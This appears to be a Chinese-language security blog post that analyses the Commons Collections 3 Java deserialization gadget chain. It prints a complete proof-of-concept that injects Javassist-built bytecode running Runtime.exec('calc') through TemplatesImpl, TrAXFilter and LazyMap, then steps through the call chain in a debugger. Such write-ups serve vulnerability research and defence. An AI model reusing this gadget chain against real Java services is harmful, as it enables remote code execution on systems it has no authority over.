Java安全之Commons Collections3分析
文章首發:Java安全之Commons Collections3分析
0x00 前言
在學習完成前面的CC1鏈和CC2鏈後,其實再來看CC3鏈會比較輕鬆。CC1的利用鏈是
Map(Proxy).entrySet()
觸發AnnotationInvocationHandler.invoke()
,而CC2鏈的利用鏈是通過InvokerTransformer.transform()
呼叫newTransformer
觸發RCE。這裡就不說這麼詳細感興趣可以看前面幾篇文章。聽說CC3鏈是CC1和CC2鏈的結合體。下面來分析一下CC3鏈。
0x01 前置知識
在CC3利用鏈的構造裡面其實沒有用到很多的新的一些知識點,但是有用到新的類,還是需要記錄下來。
InstantiateTransformer
首先還是檢視一下構造方法。
在檢視下面的程式碼的時候會發現他的transform
方法非常的有意思。
transform
方法會去使用反射例項化一個物件並且返回。
TrAXFilter
檢視TrAXFilter
的構造方法,會發現更有意思的事情
_transformer = (TransformerImpl) templates.newTransformer();
呼叫了傳入引數的newTransformer()
方法。在CC2鏈分析的時候,使用的是反射呼叫newTransformer
,newTransformer
呼叫defineTransletClasses()
。最後再呼叫_class.newInstance()
例項化_class
物件。那麼如果是使用TrAXFilter
的話,就不需要InvokerTransformer
的transform
方法反射去呼叫了。
0x02 POC分析
package com.test;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
public class cc1 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IOException, IllegalAccessException, InvocationTargetException, InstantiationException, NotFoundException, CannotCompileException, NoSuchFieldException {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool=ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload=classPool.makeClass("CommonsCollections333333333");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] bytes=payload.toBytecode();
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
field.setAccessible(true);
field.set(templatesImpl,new byte[][]{bytes});
Field field1=templatesImpl.getClass().getDeclaredField("_name");
field1.setAccessible(true);
field1.set(templatesImpl,"test");
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
Map map=new HashMap();
Map lazyMap= LazyMap.decorate(map,chainedTransformer);
Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=cls.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler=(InvocationHandler)constructor.newInstance(Override.class,lazyMap);
Map map1=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),invocationHandler);
Object object=constructor.newInstance(Override.class,map1);
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
outputStream.writeObject(object);
outputStream.close();
ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
inputStream.readObject();
}
}
上面是一段POC程式碼,先來分析一下,POC為什麼要這樣去構造。
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool=ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload=classPool.makeClass("CommonsCollections22222222222");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] bytes=payload.toBytecode();
先來執行一遍看一下執行的結果
能夠執行成功並且彈出計算器。
其實看到程式碼前面部分,和CC2利用鏈的構造是一模一樣的。在CC2鏈中分析文章裡面講到過。這裡就來簡單概述一下。
這裡是採用了Javassist
方式建立一個類,然後設定該類的主體為Runtime.exec("clac.exe")
,設定完成後,將該類轉換成位元組碼。
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
field.setAccessible(true);
field.set(templatesImpl,new byte[][]{bytes});
Field field1=templatesImpl.getClass().getDeclaredField("_name");
field1.setAccessible(true);
field1.set(templatesImpl,"test");
反射獲取TemplatesImpl
類的_bytecodes
成員變數,設定值為上面使用Javassist
類轉換後的位元組碼。
反射獲取TemplatesImpl
類的_name
成員變數,設定值為test。
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
ConstantTransformer
在呼叫transform
方法的時候,會遍歷的去呼叫陣列裡面transform
方法。並且將執行結果傳入到第二次遍歷執行的引數裡面。
第一次執行this.iTransformers[i]
為ConstantTransformer
。所以,呼叫的是ConstantTransformer
的transform
方法該方法是直接返回傳入的物件。這裡返回了個TrAXFilter.class
物件。
而在第二次遍歷執行的時候傳入的就是TrAXFilter.class
物件,然後再反射的去獲取方法,使用newInstance
例項化一個物件並且進行返回。
Map map=new HashMap();
Map lazyMap= LazyMap.decorate(map,chainedTransformer);
這裡是將上面構造好的ChainedTransformer
的例項化物件,傳入進去。在呼叫lazyMap
的get方法的時候,就會去呼叫構造好的ChainedTransformer
物件的transform
方法。
那麼下面就會引出lazyMap
的get方法的呼叫問題,再來看下面一段程式碼。
Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=cls.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler=(InvocationHandler)constructor.newInstance(Override.class,lazyMap);
Map map1=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),invocationHandler);
Object object=constructor.newInstance(Override.class,map1);
反射建立了一個AnnotationInvocationHandler
物件,傳入Override.class
和lazyMap
的物件,並使用AnnotationInvocationHandler
作為呼叫處理器,為lazyMap
做一個動態代理。關於這裡為什麼要傳入一個Override.class
的問題,其實因為AnnotationInvocationHandler
本來就是一個處理註解的類,構造方法的第⼀個引數是⼀個Annotation類型別引數,第二個是map型別引數(所有的註解型別都繼承自這個Annotation介面)。在這裡面不管傳入的是Retention.class
還是Override.class
都是可行的。
這的lazyMap
作為被代理的物件後,呼叫任意的方法都會去執行呼叫處理器的invoke
方法。AnnotationInvocationHandler
實現了InvocationHandler
,可以被當作呼叫處理器傳入。而我們在這時候呼叫lazyMap
的任意方法的話,就會執行一次AnnotationInvocationHandler
中的invoke
方法。而在AnnotationInvocationHandler
的invoke
方法中就會呼叫get方法。
在呼叫get方法後又回到了前面說到的地方,這裡就會去呼叫transform
方法去完成後面的命令執行。這裡先不細說。
在分析完POC程式碼後其實並沒有去看到一個完整的呼叫鏈,這裡有必要去除錯一遍。
0x03 CC3鏈除錯
先在AnnotationInvocationHandler
的readobject
方法中去打個斷點進行除錯分析
在這裡可以看到這裡的this.memberValues
的值為被代理的lazyMap
的物件,呼叫了lazyMap
的entrySet
方法。那麼這時候被代理物件的呼叫處理器的invoke
方法會執行。前面說過使用的AnnotationInvocationHandler
作為呼叫處理器,這裡呼叫的就是AnnotationInvocationHandler
的invoke
方法,跟進一下invoke
方法。
invoke
方法在內部呼叫了lazyMap
的get方法,再來跟進一下get方法
到這裡其實就能看到了 this.factory.transform(key);
,呼叫了transform
方法,在這裡的this.factory
為ChainedTransformer
的例項化物件。再來跟進一下transform
方法就能看到ChainedTransformer
的transform
內部的呼叫結構。
在POC構造的時候為ChainedTransformer
這個物件傳入了一個陣列,陣列的第一值為ConstantTransformer
例項化物件,第二個為InstantiateTransformer
例項化物件。
所以在這裡第一次遍歷this.iTransformers[i]
的值為ConstantTransformer
。ConstantTransformer
的transform
會直接返回傳入的物件。在POC程式碼構造的時候,傳入的是TrAXFilter
物件,所以在這裡會直接進行返回TrAXFilter
,並且會作為第二次遍歷的傳參值。
而在第二次遍歷的時候,this.iTransformers[i]
的值為InstantiateTransformer
的例項化物件。所以呼叫的是InstantiateTransformer
的transform
方法並且傳入了TrAXFilter
物件。跟進一下InstantiateTransformer
的transform
方法。
這裡其實是比較有意思的,剛剛傳入的是TrAXFilter
物件,所以這裡的input為TrAXFilter
,this.iParamTypes
為Templates
,this.iArgs
為構造好的惡意TemplatesImpl
例項化物件。(這裡之所以說他是惡意的TemplatesImpl
物件是因為在前面使用反射將他的_bytecodes
設定成了一個使用javassist
動態建立的惡意類的位元組碼)
該transform
方法中使用getConstructor
方法獲取TrAXFilter
引數為Templates
的構造方法。
使用該構造方法建立一個物件,並且傳入惡意的TemplatesImpl
例項化物件。在該構造方法當中會呼叫TemplatesImpl
的newTransformer
方法。跟進一下newTransformer
方法。
newTransformer
方法內部呼叫了getTransletInstance
方法再跟進一下。
這裡可以看到先是判斷了_name
的值是否為空,為空的話就會執行返回null,不向下執行。這也是前面為什麼使用反射獲取並且修改_name
值的原因。
下面一步是判斷_class
是否為空,顯然我們這裡的_class
值是null,這時候就會呼叫defineTransletClasses
方法,跟進一下。
下面標註出來這段是_bytecodes
對_class
進行賦值,這裡的_bytecodes
的值是使用javassist
動態建立的惡意類的位元組碼 執行完後,來到下一步。
這裡會對該位元組碼進行呼叫newInstance
方法例項化一個物件,然後就可以看到命令執行成功。
關於這個為什麼呼叫newInstance
例項化一個物件,命令就直接執行成功的問題,其實我的在CC2鏈分析裡面也說到過,主要還是看使用javassist
動態建立一個類的時候,他是怎麼去構造的。
ClassPool classPool=ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload=classPool.makeClass("CommonsCollections22222222222");
payload.setSuperclass(classPool.get(AbstractTranslet)); payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
payload.writeFile("./");
先將該類寫出來到檔案中,然後再去檢視。
看到這個其實就一目瞭然了,使用setBody
設定主體的時候,程式碼其實是插入在靜態程式碼塊中的。靜態程式碼塊的程式碼在例項化物件的時候就會進行執行。
呼叫鏈
AnnotationInvocationHandler.readobject->(proxy)lazyMap.entrySet
->AnnotationInvocationHandler.invoke->lazyMap.get
->ChainedTransformer.transform->ConstantTransformer.transform
->InstantiateTransformer.transform->TrAXFilter(構造方法)
->TemplatesImpl.newTransformer->TemplatesImpl.getTransletInstance
->TemplatesImpl.defineTransletClasses
->(動態建立的類)cc2.newInstance()->Runtime.exec()
0x04 結尾
其實在除錯CC3這條利用鏈的時候,會發現前半部分使用的是CC2利用鏈的POC程式碼,而後半部分則是CC1的利用鏈程式碼。除錯過這兩條利用鏈的話,除錯CC3這條利用鏈會比較簡單易懂。
在寫這篇文的時候,第一次剛碼完字,電腦就藍屏了。重新開啟檔案的時候,文章的檔案也清空了。只能重寫一遍,但是重寫完後,發現雖然字數也差不多,但是感覺細節點的地方還是少了東西,但是又不知道具體在哪些地方少了。